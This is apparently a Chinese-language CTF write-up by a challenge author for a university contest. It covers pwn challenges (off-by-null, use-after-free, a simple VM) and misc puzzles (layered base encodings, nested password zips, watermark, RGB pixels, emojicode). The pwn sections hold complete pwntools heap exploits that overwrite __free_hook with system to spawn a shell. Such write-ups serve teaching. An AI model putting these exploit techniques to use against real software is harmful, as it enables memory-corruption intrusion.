UJNCTF校赛wp

wp by lemon

pwn

null

签到题,因为是出题人所以还是写下wp QAQ

edit函数中调用了sub_994,点进去观察函数

这个函数本质上是想如果输入回车后填充00字节来代替回车的’\x0a’,但是忽略了填充完全的情况,导致off-by-null漏洞,可以溢出一个空字节

思路:申请一系列堆块,重点有俩堆块,一个堆块是被溢出的堆块记为victim,其size要满足0x?f0的条件,因为在header中填充后其size的低字节为01,offbynull溢出后其低字节为00,可以向前malloc_consolidate;一个堆块是victim的prev_size索引到的堆块,这个堆块要满足unsorted bin大小,因为在向前合并的过程中会unlink,会检查fd和bk的合法性,利用unsorted bin的特性让系统帮我们”伪造“fd和bk指针。

然后有了overlap岂不是随便玩就好了

from pwn import *
import sys

arch = 64
challenge = "./null"
libc_path_local = "/glibc/x64/2.27/lib/libc.so.6"
libc_path_remote = ""

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 25965)
if libc_path_remote:
libc = ELF(libc_path_remote)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./null}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

_add,_free,_edit,_show = 1,4,2,3

menu = "choide:"

def add(size, content):
sla(menu, str(_add))
sla("size:", str(size))
sa("content:", content)

def edit(idx, content):
sla(menu, str(_edit))
sla("index:", str(idx))
sa("content:", content)

def free(idx):
sla(menu, str(_free))
sla("index:", str(idx))

def show(idx):
sla(menu, str(_show))
sla("index:", str(idx))

def exp():
add(0x410, 'a') # 0
add(0x108, 'a') # 1
add(0x28, 'a') # 2
add(0x4f0, 'b') # 3
add(0x10, '/bin/sh\x00') # 4
free(0)
edit(2, 0x20 * 'a' + p64(0x560))
free(3)
add(0x410, 'a') # 0
show(0)
leak = uu64(ru('\x7f')[-6:]) - 1482 - 0x10 - libc.sym['__malloc_hook']
echo('libc base:' + hex(leak))
libc.address = leak
__free_hook = libc.sym['__free_hook']
system = libc.sym['system']
add(0x108, '3') # 3
add(0x108, '5') # 5
free(5)
free(1)
edit(3, p64(__free_hook) + '\n')
add(0x108, 'a') # 1
add(0x108, p64(system)) # 5
free(4)

exp()
ia()

WriteMaster

我想分享的一些分析技巧

在add函数中第一眼看过去很乱,猜测申请了很多结构体什么的,这个时候有经验的师傅硬看很好分析,但是对于我们来说要学会偷鸡,运行一下程序看看到底是干啥的

看到先后输入了index(在红框框的上面,懒得重新截图了),header size,header,text size和text,然后找找add函数中的一堆exit信息中都输出了字符串,ida中看看

结合题目名字大概能够猜出来是一个文章管理的东西,能够写标题,写文章正文,反正业务就是这么个业务,逻辑就是这么个逻辑,实在不行gdb一顿动调也能发现各个chunk之间的衔接关系。

所以先随便写个结构体看看

struct Article
{
size_t header_size;
char* header;
size_t text_size;
char* content;
};

在ida中找到local types

导入结构体,然后更改bss中的变量202040的类型为article

看起来仍然不太对的样子,注意到有二级指针的存在,猜测文章头或者文章正文的地方还有一个结构体指针

struct Header
{
size_t header_size;
char* content;
};
struct Text
{
size_t text_size;
char* content;
};

分别导入后,挨边试下,最终可以优化成如下样子

总之会比嗯审好点

正片

完整exp

明显的UAF漏洞

只能申请小于0x60的chunk,输入666有个后门可以edit两次,如果不是限制了chunk的大小就是白给题

因为是uaf,拿到堆地址轻轻松松,通过uaf的布局伪造出ub,然后泄露出堆地址和libc的地址,最后劫持freehook来getshell,完整exp如下:

from pwn import *
import sys

arch = 64
challenge = "./WriterMaster"
libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6"
libc_path_remote = ""

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-hp', '65']

if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 25965)
if libc_path_remote:
libc = ELF(libc_path_remote)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./WriteMaster}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

_add,_free,_show,_edit = 1,3,2,666

menu = ":"

def add(idx, header, size, content):
sla(menu, str(_add))
sla("index:", str(idx))
sla("header size:", str(0x20))
sa("header:", header)
sla("text size:", str(size))
sa("content:", content)

def free(idx):
sla(menu, str(_free))
sla("index:", str(idx))

def show(idx):
sla(menu, str(_show))
sla("index:", str(idx))

def edit(idx, content):
sla(menu, str(_edit))
sla("index:", str(idx))
sa('text:', content)


def exp():
add(0, 'aaaa', 0x60, (p64(0) + p64(0x71)) * (0x60 / 0x10))
add(1, 'aaaa', 0x60, 'bbbb')
add(2, 'aaaa', 0x60, 'bbbb')
add(3, 'aaaa', 0x60, 'bbbb')
add(4, 'aaaa', 0x60, 'bbbb')
add(5, 'aaaa', 0x60, 'bbbb')
add(6, 'aaaa', 0x60, (p64(0) + p64(0x21)) * (0x60 / 0x10))

for i in range(1, 6):
free(i)

show(5)
ru('text:')
heap = uu64(io.recvuntil('\n', drop=True)[-6:]) & 0xfffffffff000
echo('HEAP BASE:' + hex(heap))
edit(3, p64(heap + 0x2c0 + 0x50))

for i in range(3):
add(7, 'a', 0x60, 'a')

add(7, 'a', 0x60, p64(0) + p64(0x21) + p64(0x10) + p64(heap) + p64(0) + p64(0x31) + 'a' * 0x20 + p64(0) + p64(0x431))

free(1)
show(1)

leak = uu64(ru('\x7f')[-6:]) - 96 - 0x10 - libc.sym['__malloc_hook']
echo('LIBC BASE:' + hex(leak))
libc.address = leak
__free_hook = libc.sym['__free_hook']
system = libc.sym['system']

add(12, 'a', 0x30, 'a')
add(13, 'a', 0x30, 'a')

free(13)
free(12)

edit(12, p64(__free_hook))
add(13, 'a', 0x30, '/bin/sh\x00')
add(1, 'a', 0x30, p64(system))
free(13)
# gdba()
pass

exp()
ia()
伪造ub详解

程序中还有个小漏洞,就是add的时候index可以由我们自己来指定,这样就造成了之前写过的在内存中的数据可能会被覆盖,所以极大增强了我们的体验,想怎么打都可以,考的点就是如何伪造出来一块ub,那么详细记录下

我是边做边给带🔥写的wp,首先写随便申请一通chunk,在chunk0中伪造一个假的header,日后可以覆盖chunk1的header

add(0, 'aaaa', 0x60, p64(0) + p64(0x71))
add(1, 'aaaa', 0x60, 'bbbb')
add(2, 'aaaa', 0x60, 'bbbb')
add(3, 'aaaa', 0x60, 'bbbb')
add(4, 'aaaa', 0x60, 'bbbb')
add(5, 'aaaa', 0x60, 'bbbb')
add(6, 'aaaa', 0x60, 'bbbb')

for i in range(1, 6):
free(i)

show(5)
ru('text:')
heap = uu64(io.recvuntil('\n', drop=True)[-6:]) & 0xfffffffff000
echo('HEAP BASE:' + hex(heap))
edit(3, p64(heap + 0x2b0))

泄露出堆地址后,改个fd为之前伪造的header

for i in range(3):
add(7, 'a', 0x60, 'b')

add(7, 'a', 0x60, 'a' * 0x50 + p64(0) + p64(0x431))

全部申请回来,最终会申请到fake chunk,然后顺势把下一个chunk的header给🐑了

就像这个样,这样就有unsorted bin(下文记为ub)可以用了,但是free的时候还要伪造ub的下一个chunk的header要不然过不了check,手算一波偏移,大概在最底部的chunk附近,所以把之前的exp稍微改改,6号chunk的内容全改为合法的header,目前为止exp长这样:

add(0, 'aaaa', 0x60, p64(0) + p64(0x71))
add(1, 'aaaa', 0x60, 'bbbb')
add(2, 'aaaa', 0x60, 'bbbb')
add(3, 'aaaa', 0x60, 'bbbb')
add(4, 'aaaa', 0x60, 'bbbb')
add(5, 'aaaa', 0x60, 'bbbb')
add(6, 'aaaa', 0x60, (p64(0) + p64(0x21)) * (0x60 / 0x10))

for i in range(1, 6):
free(i)

show(5)
ru('text:')
heap = uu64(io.recvuntil('\n', drop=True)[-6:]) & 0xfffffffff000
echo('HEAP BASE:' + hex(heap))
edit(3, p64(heap + 0x2c0))

for i in range(3):
add(7, 'a', 0x60, 'a')

add(7, 'a', 0x60, 'a' * 0x50 + p64(0) + p64(0x431))

fake ub 伪造完成,下面就是leak出来libc的地址

尴尬,伪造好突然发现ub在文章的header部分,程序没有header部分的free功能,只能重新伪造了,思路是一样的

经过一点修改后将其伪造到了idx为1的位置,思路是一样的,现给出前面部分的exp

add(0, 'aaaa', 0x60, (p64(0) + p64(0x71)) * (0x60 / 0x10))	# 无脑伪造
add(1, 'aaaa', 0x60, 'bbbb')
add(2, 'aaaa', 0x60, 'bbbb')
add(3, 'aaaa', 0x60, 'bbbb')
add(4, 'aaaa', 0x60, 'bbbb')
add(5, 'aaaa', 0x60, 'bbbb')
add(6, 'aaaa', 0x60, (p64(0) + p64(0x21)) * (0x60 / 0x10))

for i in range(1, 6):
free(i)

show(5)
ru('text:')
heap = uu64(io.recvuntil('\n', drop=True)[-6:]) & 0xfffffffff000
echo('HEAP BASE:' + hex(heap))
edit(3, p64(heap + 0x2c0 + 0x50))

for i in range(3):
add(7, 'a', 0x60, 'a')

add(7, 'a', 0x60, p64(0) + p64(0x21) + p64(0x10) + p64(heap) + p64(0) + p64(0x31) + 'a' * 0x20 + p64(0) + p64(0x431)) # 伪造ub,中间有个部分填写heap的原因是show的时候需要寻址,需要填写一个合法地址

伪造出ub后面的就是白给flag了

caculator

exp

简简单单的VM pwn,估计是全网最简单的VM pwn了,提供了直接和程序模拟的寄存器的交互接口,漏洞位于一个任意地址写,bss上还有函数指针,main还调用了这个指针,程序还有后门,改指针为后门函数一把🔐

from pwn import *
io = process('./caculator')
io.sendline(str(0x40))
io.sendline(str(0x400ba0))
io.sendline(str(0x48))
io.sendline(str(0x48))
io.sendline(str(0x38))
io.sendline(str(-8))
io.sendline(str(0x50))
io.interactive()

甚至可以不用pwntools直接nc上去getshell

详解

静态编译,知道有人想🔨我了

热知识,main在rdi寄存器里

四行代码,简简单单

第二个函数才是主要逻辑,一堆case,VM pwn没跑了

无论是经验,还是现搜,先确定一些系统函数:https://www.cnblogs.com/pengdonglin137/p/3345911.html

看到va,printf或者scanf系列的没跑了

不管是用程序的逻辑试还是逆向都很容易确定出来前四个case分别是加减乘除

case 0x48实现了pop操作,case 0x40实现了push操作,可以向栈上写入任意数据,通过pop可以控制我们自己实现的寄存器reg,并且case38可以实现向任意位置写入寄存器reg的操作,通过这一套操作实现了一个任意地址写

流程:push 后门函数地址,pop弹栈,pop弹栈(此时寄存器被赋值为后门的地址),利用任意地址写写到函数指针,退出执行getshell

函数指针就在模拟的栈空间的上方,算下偏移很容易算出来是负8

通过查看字符串可以找到后门

misc

bbbbbbaaaaaasssssseeeeee

给了文本文件,一眼过去base编码,base解完发现是套了不同的base,写个脚本循环解密完事

出题脚本如下,我用的随机数,我也不知道啥套了啥,暴力破解就完了

import base64
import random

def encodeFlag(i, flag):
if(i == 0):
flag = base64.b16encode(str(flag).encode()).decode()
if(i == 1):
flag = base64.b32encode(str(flag).encode()).decode()
if(i == 2):
flag = base64.b64encode(str(flag).encode()).decode()
if(i == 3):
flag = base64.b85encode(str(flag).encode()).decode()
return flag

flag = 'flag{Bas3_1s_s0_b3autifu1!}'
for i in range(20):
flag = encodeFlag(random.randint(0, 3), flag)

with open('flag', 'wb') as f:
f.write(flag.encode())

解题脚本如下:

import base64

with open('flag',"r") as f:
text = f.read()
while True:
try:
text = base64.b16decode(text).decode()
except:
try:
text = base64.b32decode(text).decode()
except:
try:
text = base64.b64decode(text).decode()
except:
try:
text = base64.b85decode(text).decode()
except:
break
print(text)

zzzzzziiiiiipppppp

flag{D0nt_h1t_m3_N0_m0r3_01d_tr1ck5!}

灵感来源于ctf生涯中及其短暂的时间内任职过一个misc手而打过的比赛中的无脑套娃题——【MRCTF】千层套路,本题又降低了难度,因为当时解出来好像

给了压缩包,稍微试试就知道密码是文件名,但是压缩包很多,手解不可能,于是只能搓jio本

稍微查查就知道python有个库叫zipfile可以解,但是很慢,所以会写shell jio本的同学应该更容易抢到一血,但是👴🏻不会shell jio本所以👴🏻注定抢不了一血,因为👴🏻是出题人,跑偏了

现给出出题用的jio 本

import os
import string
import random

def compressedFileToCreate(random_number, prev_filename):
print('prev:' + prev_filename)
filename = str(random_number) + '.zip'
os.system("zip -P %s %s %s"%(str(random_number), filename, prev_filename))
if prev_filename[-4:] == '.zip':
os.system('rm ' + prev_filename)
return filename

def randomNumberGeneration():
number = string.digits
random_list = []
for i in range(4):
index = random.randint(0, 9)
random_list.append(number[index])
return "".join(random_list)

if __name__ == '__main__':
for i in range(1000):
number = randomNumberGeneration()
if i == 0:
prev_filename = compressedFileToCreate(number, 'flag.txt')
else:
prev_filename = compressedFileToCreate(number, prev_filename)

解题脚本很简单,就是得等一会儿,等到报错的时候,就还有一个文件没有解开,手动解就完了

import zipfile
import os

def exp(filename, prev_filename):
fz = zipfile.ZipFile(filename + '.zip', 'r')
fz.extractall(pwd=bytes(filename, 'utf-8'))
name = fz.filelist[0].filename[0:4]
if prev_filename:
os.system('rm ' + prev_filename + '.zip')
fz.close()
return filename,name

if __name__ == '__main__':
filename = '8366' # 初始压缩包文件名
prev_filename = ''
while True:
prev_filename,filename = exp(filename, prev_filename)

WaterMark

出题思路:图片盲水印,foremost 然后用盲水印脚本一把梭

flag{water_mark_is_so_fun}

letter

附件给了一个pdf

注意到后面有个nc地址,连上去发现需要输入username和password,但是不知道,pdf中有username和password,虽然挡住了,但是能够直接复制出来,得到username和password分别为lemon和l3m0n_l0v3_rgb,然后nc连上去输入用户名和密码

获得一个网址,我们用web端访问一下看看

有个文本文件,下载下来康康

部分内容:

结合刚才的密码,这个应该是个rgb图像的像素点,并且还给了宽和高,利用PIL库合成像素点获得flag

from PIL import Image

x = 2012
y = 1014

img = Image.new("RGB",(x,y))
with open('./tmp.txt','r') as f: # 记得删掉前两行的宽和高方便数据处理
for width in range(0,x):
for height in range(0,y):
line = f.readline().strip('\n')[1:-1]
rgb = line.split(',')
img.putpixel((width,height),(int(rgb[0]),int(rgb[1]),int(rgb[2])))

img.save('flag.jpg')

flag{l3m0n_10v3_pdf_and_rgb}

emoji-master

出题人视角

👴🏻就是抽象,所以就有了这个题,致敬抽象文学

现翻了翻emojicode就挺有意思,本来可以放字符串的,但是没有节目效果,所以改成了emoji编码,但是有hint,问题不大

emoji随机生成脚本如下

import emoji
import random

emoji_list = """
:bowtie:
:smile:
:simple_smile:
:laughing:
:blush:
:smiley:
:relaxed:
:smirk:
:heart_eyes:
:kissing_heart:
:kissing_closed_eyes:
:flushed:
:relieved:
:satisfied:
:grin:
:wink:
:stuck_out_tongue_winking_eye:
:stuck_out_tongue_closed_eyes:
:grinning:
:kissing:
:kissing_smiling_eyes:
:stuck_out_tongue:
:sleeping:
:worried:
:frowning:
:anguished:
:open_mouth:
:grimacing:
:confused:
:hushed:
:expressionless:
:unamused:
:sweat_smile:
:sweat:
:disappointed_relieved:
:weary:
:pensive:
:disappointed:
:confounded:
:fearful:
:cold_sweat:
:persevere:
:cry:
:sob:
:joy:
:astonished:
:scream:
:neckbeard:
:tired_face:
:angry:
:rage:
:triumph:
:sleepy:
:yum:
:mask:
:sunglasses:
:dizzy_face:
:imp:
:smiling_imp:
:neutral_face:
:no_mouth:
:innocent:
:alien:
:yellow_heart:
:blue_heart:
:purple_heart:
:heart:
:green_heart:
:broken_heart:
:heartbeat:
:heartpulse:
:two_hearts:
:revolving_hearts:
:cupid:
:sparkling_heart:
:sparkles:
:star:
:star2:
:dizzy:
:boom:
:collision:
:anger:
:exclamation:
:question:
:grey_exclamation:
:grey_question:
:zzz:
:dash:
:sweat_drops:
:notes:
:musical_note:
:fire:
:hankey:
:poop:
:shit:
:+1:
:thumbsup:
:-1:
:thumbsdown:
:ok_hand:
:punch:
:facepunch:
:fist:
:v:
:wave:
:hand:
:raised_hand:
:open_hands:
:point_up:
:point_down:
:point_left:
:point_right:
:raised_hands:
:pray:
:point_up_2:
:clap:
:muscle:
:metal:
:fu:
:runner:
:running:
:couple:
:family:
:two_men_holding_hands:
:two_women_holding_hands:
:dancer:
:dancers:
:ok_woman:
:no_good:
:information_desk_person:
:raising_hand:
:bride_with_veil:
:person_with_pouting_face:
:person_frowning:
:bow:
:couplekiss:
:couple_with_heart:
:massage:
:haircut:
:nail_care:
:boy:
:girl:
:woman:
:man:
:baby:
:older_woman:
:older_man:
:person_with_blond_hair:
:man_with_gua_pi_mao:
:man_with_turban:
:construction_worker:
:cop:
:angel:
:princess:
:smiley_cat:
:smile_cat:
:heart_eyes_cat:
:kissing_cat:
:smirk_cat:
:scream_cat:
:crying_cat_face:
:joy_cat:
:pouting_cat:
:japanese_ogre:
:japanese_goblin:
:see_no_evil:
:hear_no_evil:
:speak_no_evil:
:guardsman:
:skull:
:feet:
:lips:
:kiss:
:droplet:
:ear:
:eyes:
:nose:
:tongue:
:love_letter:
:bust_in_silhouette:
:busts_in_silhouette:
:speech_balloon:
:thought_balloon:
:feelsgood:
:finnadie:
:goberserk:
:godmode:
:hurtrealbad:
:rage1:
:rage2:
:rage3:
:rage4:
:suspect:
:trollface:
:sunny:
:umbrella:
:cloud:
:snowflake:
:snowman:
:zap:
:cyclone:
:foggy:
:ocean:
:cat:
:dog:
:mouse:
:hamster:
:rabbit:
:wolf:
:frog:
:tiger:
:koala:
:bear:
:pig:
:pig_nose:
:cow:
:boar:
:monkey_face:
:monkey:
:horse:
:racehorse:
:camel:
:sheep:
:elephant:
:panda_face:
:snake:
:bird:
:baby_chick:
:hatched_chick:
:hatching_chick:
:chicken:
:penguin:
:turtle:
:bug:
:honeybee:
:ant:
:beetle:
:snail:
:octopus:
:tropical_fish:
:fish:
:whale:
:whale2:
:dolphin:
:cow2:
:ram:
:rat:
:water_buffalo:
:tiger2:
:rabbit2:
:dragon:
:goat:
:rooster:
:dog2:
:pig2:
:mouse2:
:ox:
:dragon_face:
:blowfish:
:crocodile:
:dromedary_camel:
:leopard:
:cat2:
:poodle:
:paw_prints:
:bouquet:
:cherry_blossom:
:tulip:
:four_leaf_clover:
:rose:
:sunflower:
:hibiscus:
:maple_leaf:
:leaves:
:fallen_leaf:
:herb:
:mushroom:
:cactus:
:palm_tree:
:evergreen_tree:
:deciduous_tree:
:chestnut:
:seedling:
:blossom:
:ear_of_rice:
:shell:
:globe_with_meridians:
:sun_with_face:
:full_moon_with_face:
:new_moon_with_face:
:new_moon:
:waxing_crescent_moon:
:first_quarter_moon:
:waxing_gibbous_moon:
:full_moon:
:waning_gibbous_moon:
:last_quarter_moon:
:waning_crescent_moon:
:last_quarter_moon_with_face:
:first_quarter_moon_with_face:
:crescent_moon:
:earth_africa:
:earth_americas:
:earth_asia:
:volcano:
:milky_way:
:partly_sunny:
:octocat:
:squirrel:
:bamboo:
:gift_heart:
:dolls:
:school_satchel:
:mortar_board:
:flags:
:fireworks:
:sparkler:
:wind_chime:
:rice_scene:
:jack_o_lantern:
:ghost:
:santa:
:christmas_tree:
:gift:
:bell:
:no_bell:
:tanabata_tree:
:tada:
:confetti_ball:
:balloon:
:crystal_ball:
:cd:
:dvd:
:floppy_disk:
:camera:
:video_camera:
:movie_camera:
:computer:
:tv:
:iphone:
:phone:
:telephone:
:telephone_receiver:
:pager:
:fax:
:minidisc:
:vhs:
:sound:
:speaker:
:mute:
:loudspeaker:
:mega:
:hourglass:
:hourglass_flowing_sand:
:alarm_clock:
:watch:
:radio:
:satellite:
:loop:
:mag:
:mag_right:
:unlock:
:lock:
:lock_with_ink_pen:
:closed_lock_with_key:
:key:
:bulb:
:flashlight:
:high_brightness:
:low_brightness:
:electric_plug:
:battery:
:calling:
:email:
:mailbox:
:postbox:
:bath:
:bathtub:
:shower:
:toilet:
:wrench:
:nut_and_bolt:
:hammer:
:seat:
:moneybag:
:yen:
:dollar:
:pound:
:euro:
:credit_card:
:money_with_wings:
:e-mail:
:inbox_tray:
:outbox_tray:
:envelope:
:incoming_envelope:
:postal_horn:
:mailbox_closed:
:mailbox_with_mail:
:mailbox_with_no_mail:
:package:
:door:
:smoking:
:bomb:
:gun:
:hocho:
:pill:
:syringe:
:page_facing_up:
:page_with_curl:
:bookmark_tabs:
:bar_chart:
:chart_with_upwards_trend:
:chart_with_downwards_trend:
:scroll:
:clipboard:
:calendar:
:date:
:card_index:
:file_folder:
:open_file_folder:
:scissors:
:pushpin:
:paperclip:
:black_nib:
:pencil2:
:straight_ruler:
:triangular_ruler:
:closed_book:
:green_book:
:blue_book:
:orange_book:
:notebook:
:notebook_with_decorative_cover:
:ledger:
:books:
:bookmark:
:name_badge:
:microscope:
:telescope:
:newspaper:
:football:
:basketball:
:soccer:
:baseball:
:tennis:
:8ball:
:rugby_football:
:bowling:
:golf:
:mountain_bicyclist:
:bicyclist:
:horse_racing:
:snowboarder:
:swimmer:
:surfer:
:ski:
:spades:
:hearts:
:clubs:
:diamonds:
:gem:
:ring:
:trophy:
:musical_score:
:musical_keyboard:
:violin:
:space_invader:
:video_game:
:black_joker:
:flower_playing_cards:
:game_die:
:dart:
:mahjong:
:clapper:
:memo:
:pencil:
:book:
:art:
:microphone:
:headphones:
:trumpet:
:saxophone:
:guitar:
:shoe:
:sandal:
:high_heel:
:lipstick:
:boot:
:shirt:
:tshirt:
:necktie:
:womans_clothes:
:dress:
:running_shirt_with_sash:
:jeans:
:kimono:
:bikini:
:ribbon:
:tophat:
:crown:
:womans_hat:
:mans_shoe:
:closed_umbrella:
:briefcase:
:handbag:
:pouch:
:purse:
:eyeglasses:
:fishing_pole_and_fish:
:coffee:
:tea:
:sake:
:baby_bottle:
:beer:
:beers:
:cocktail:
:tropical_drink:
:wine_glass:
:fork_and_knife:
:pizza:
:hamburger:
:fries:
:poultry_leg:
:meat_on_bone:
:spaghetti:
:curry:
:fried_shrimp:
:bento:
:sushi:
:fish_cake:
:rice_ball:
:rice_cracker:
:rice:
:ramen:
:stew:
:oden:
:dango:
:egg:
:bread:
:doughnut:
:custard:
:icecream:
:ice_cream:
:shaved_ice:
:birthday:
:cake:
:cookie:
:chocolate_bar:
:candy:
:lollipop:
:honey_pot:
:apple:
:green_apple:
:tangerine:
:lemon:
:cherries:
:grapes:
:watermelon:
:strawberry:
:peach:
:melon:
:banana:
:pear:
:pineapple:
:sweet_potato:
:eggplant:
:tomato:
:corn:
:house:
:house_with_garden:
:school:
:office:
:post_office:
:hospital:
:bank:
:convenience_store:
:love_hotel:
:hotel:
:wedding:
:church:
:department_store:
:european_post_office:
:city_sunrise:
:city_sunset:
:japanese_castle:
:european_castle:
:tent:
:factory:
:tokyo_tower:
:japan:
:mount_fuji:
:sunrise_over_mountains:
:sunrise:
:stars:
:statue_of_liberty:
:bridge_at_night:
:carousel_horse:
:rainbow:
:ferris_wheel:
:fountain:
:roller_coaster:
:ship:
:speedboat:
:boat:
:sailboat:
:rowboat:
:anchor:
:rocket:
:airplane:
:helicopter:
:steam_locomotive:
:tram:
:mountain_railway:
:bike:
:aerial_tramway:
:suspension_railway:
:mountain_cableway:
:tractor:
:blue_car:
:oncoming_automobile:
:car:
:red_car:
:taxi:
:oncoming_taxi:
:articulated_lorry:
:bus:
:oncoming_bus:
:rotating_light:
:police_car:
:oncoming_police_car:
:fire_engine:
:ambulance:
:minibus:
:truck:
:train:
:station:
:train2:
:bullettrain_front:
:bullettrain_side:
:light_rail:
:monorail:
:railway_car:
:trolleybus:
:ticket:
:fuelpump:
:vertical_traffic_light:
:traffic_light:
:warning:
:construction:
:beginner:
:atm:
:slot_machine:
:busstop:
:barber:
:hotsprings:
:checkered_flag:
:crossed_flags:
"""

out = emoji_list.split('\n')
out = out[1:-1]
final = ''

for i in range(30):
j = 0
echo = ''
while True:
emojiSymbol = emoji.emojize(out[random.randint(0, len(out) - 1)], use_aliases=True)
if ':' in emojiSymbol:
continue
echo += emojiSymbol
j += 1
if j == 26:
break
final += '🔤' + echo + '🔤 '

with open('tmp', 'wb') as f:
f.write(final.encode())

解题人视角

binwalk -e 分离出一个压缩包,里面俩文件,先file一下看看都是啥

都是文本文件,用code打开康康

hint.txt如上

flag.emojic文件如上,乍一看是emoji编码,发现解不动,搜一下hint

发现emojicode,是一种编程语言

这一坨东西翻译成python就是如图所示,就定义了一个列表,😀 是输出,🐽是访问集合中元素,很简单,稍微读读文档就知道咋回事了。

那看我们的源代码:

🏁 🍇
🍿 🔤😼👿🏇🚐👭🏇📫♣😔🐡🎨😼🔅👯🙎💘📇📺💡👮🐉👴📨😁👖📁🔤 🔤⛽♨👹🌅🎥🏇☝📺🗽💰🎯🐛🐓📛🐓🐸🌆💍🍐🌁💪😴🚢🐇😘👘🔤 🔤👝👣👘👞👲👰🐧👬👖👘👩🐪👖👜👤🐧👡🐨👖👤👘👪👫🐪👩👴🔤 🔤😿👂🗾🎲📤🚣📞☎🐰🍳✋🐩⛺💙🛀🎵😾✊👯🔔🍪🔮🌌🌂😉🌻🔤 🔤😳🍔🏡🐮♠📷👷🌷🍋🐃💂👲⌛📌☕🏪🚗🌴👝💶🔮📲😼☂🌍🍢🔤 🔤💜😱⛳🐫📡🚥🍙📔📌🙆🎻🐣➿🎊🐷🍝☎🎻🍒😁😝🏬💶🚥🐼👅🔤 🔤😻🍁🚓💍💨⏳💚🚬🍋🎡🐒👎😹🔐😳👱🐂🍞🙍🎍🎀🍼🎸👅🔕📀🔤 🔤📠♥🐶🔑⌚😟❓🍠♨👜🎹🏀😩👡🍒👶🍠🌚🐩👸🐹📻🍀🛁❔📦🔤 🔤👇🍦🌘👝💷💧📞👦🍑🐂🐞💴😇🎄⏰💶💃🐅🌗❗📣🔰🎆⚽😟📢🔤 🔤😥♠🐕🙌🐇🙊😳🐅⚓🎋🌜♨😵🔇🍬🎥😬🍝📄🏯🍶⚠📏🌽📦🐗🔤 🔤🐷🍦🚍🎆🐺📪🐚🐋🏫👞😥🚌🍭🎌👪💪🎱📆🍛⛵🔖😱🙎🐝🐫🍎🔤 🔤👥📯🍔📝🎉🙇⭐✋🐏❄🚎👩🚁🎲🚀❗☂🍋✂🔏✋👳🍕🍭🚑💎🔤 🔤📕🌺🏡🙆🍌😗👕🏆♣🐊👦😲🏀💑🍫👱📊🌄🐌🍩🍢🏬😴🎴📛🏦🔤 🔤😰👡🎈🐎🔉🍚🔌🎍🔌📣🙋⛳😒🍏🚪🌍👯💰😂❗💗🚤💈📁🐷🔍🔤 🔤🐕🍂🍶🚡🚌😯🐝💃🍐🍅🏥🍬👉🎣👨🎨📤🍛👰🚌🍎🐉🌹📯🚙🔍🔤 🔤🍤🍚😠📕🎓🙊👍🔨🐖👇👓👐🌅💃🎨🎿😺🌁💅⚡📫👚👢🎈🍚🔒🔤 🔤🏯🏊🌁📬🏁🏬👠📲🍁😪💚👶🎫🎄🍌👲📟💫🍓😥😾😂🌾👑🎆🎠🔤 🔤🎑🍰👧👆🍼👡🗻❗🏩📙📄💏🎣🚗📢📕📃☎💍🀄🍁😊🔮👿👜👎🔤 🔤✌🎑🚙🚋🏉🔓😸🔥🐓🍠📎🐩📂📒➿🍙👄🍹🎒😏🐩👥🔋🍰🐸🚲🔤 🔤👲💃💋💧😥🙀♦🚴🐳😉🌱🍎💗😺😿🏇😁👇🏫😄🐕☎😰🚢⛽🌜🔤 🔤👾🗽🎌🎊⛽😪😮📠😢🐜😄😱😝📜🎢🍺🎷🍦👊🌎💂🎐👋🐼🏡🔮🔤 🔤👅🌌⛽🌋🐖🔒🔒🍜🍗🎫🙏🎤🔔☎📊📹🐘📖🐟✨💔👊👻📜🐬🎣🔤 🔤💘📓🐵💀🎹✊🔌🌼🔋😖🌓💁🍫📝🏃👥⛳🙀🎉🐜😌📐👜🙀🎂👄🔤 🔤👡👰🐐💪📐🎏👆😁👧🍥🐓👱🎏😊🚖☺🌓🚢🎈🎋🌽😓🎷🎎🍻⛺🔤 